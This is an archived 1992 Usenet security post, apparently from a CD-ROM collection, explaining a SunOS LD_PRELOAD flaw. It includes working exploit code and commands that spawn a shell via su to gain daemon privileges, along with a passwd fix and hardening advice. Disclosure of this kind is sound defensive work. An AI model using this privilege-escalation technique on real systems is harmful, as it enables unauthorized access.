home *** CD-ROM | disk | FTP | other *** search
/ Internet Info 1994 March / Internet Info CD-ROM (Walnut Creek) (March 1994).iso / security / doc / clippings / 920529-01 < prev    next >
Encoding:
Internet Message Format  |  1992-06-04  |  2.6 KB

  1. From: rob@wzv.win.tue.nl (Rob J. Nauta)
  2. Newsgroups: alt.security,comp.security.misc,comp.unix.internals,comp.sys.sun.misc
  3. Subject: Re: that sun env var thing -- it's the old LD_LIBRARY_PATH thing right?
  4. Message-ID: <3362@wzv.win.tue.nl>
  5. Date: 29 May 92 10:33:50 GMT
  6. References: <92May28.204058edt.144029@explorer.dgp.toronto.edu>
  7. Organization: Sex, UNIX & Rock 'n Roll
  8.  
  9.  
  10. In article <92May28.204058edt.144029@explorer.dgp.toronto.edu> flaps@dgp.toronto.edu (Alan J Rosenthal) writes:
  11. >
  12. >Again the cert advisory fails to inform as much as it could... that sun
  13. >environment variable thing.. it's just ld.so with relative path names in -L
  14. >options right, the one we've known about in alt.security for a year or two?  Or
  15. >has something worse been discovered?
  16.  
  17. Not the relative pathnames, but alternative paths/libraries with the
  18. LD_LIBRARY_PATH or LD_PRELOAD variables (the last one is undocumented).
  19.  
  20. Make a file 'sync.c'
  21.   sync() {
  22.     execl("/bin/sh","sh",0);
  23.   }
  24.  
  25. then type:
  26.   brasaap% cc -c -O -R -pic sync.c
  27.   brasaap% ld -o buglib.so.1.1 -assert pure-text sync.o
  28.   brasaap% setenv LD_PRELOAD ./buglib.so.1.1
  29.   brasaap% su sync
  30.   $ id
  31. uid=1(daemon) gid=1(daemon) groups=1
  32.  
  33. Instead of 'su sync' you can also use 'login -p sync'.
  34. FIX: change /etc/passwd to:
  35.   sync::65533:65533::/:/bin/sync
  36.  
  37. SUN has fixed this not by fixing ld.so, but by fixing a few UNIX commands
  38. that are setuid and exec normal programma's (su, login, sendmail).
  39. Other setuid programs that exec normal programs should beware of this,
  40. and either setuid back before exec(), or clear LD_LIBRARY_PATH and
  41. LD_PRELOAD before exec().
  42.  
  43. >thanks for any info,
  44. >ajr
  45.  
  46. I don't know what took them so long, I knew this last year, the owner
  47. of this machine complained about this in january or february to sun.
  48. It's a shame that it seems now it's not permitted to discuss any UNIX
  49. bugs as soon as they have an impact on security. CERT is more like a
  50. black hole nowadays, with all our mail and news going in, and only
  51. crappy vendor advisories and general textfiles that don't go beyond
  52. 'check your hosts.equiv for a "+"'.
  53.  
  54. Rob
  55. --
  56.  
  57.                     /~~~~~~~~~~~~~~~~~~~~~~~~~~\                A/~~\A
  58.                     | - From the keyboard of - |               ((o  o))___    
  59.                     |      Rob J. Nauta        |                 \  /     ~~~
  60.     #               |    rob@wzv.win.tue.nl    |  #              (--)\    #  
  61. ----#---x---x---x---|   Phone: +31-40-833777   |--#---x---x---x---x---x---#---
  62.     #               \--------------------------/  #                    \  #   
  63. ----#---x---x---x---x--| |--#---x---x---x-| |--x--#---x---x---x---x---x---#---
  64.     #)( \\|  /*\/|((   | | )#(//  \\)(/  \| |(// \#(//  \|/   \\)|(/   \|)#(/
  65.  
  66.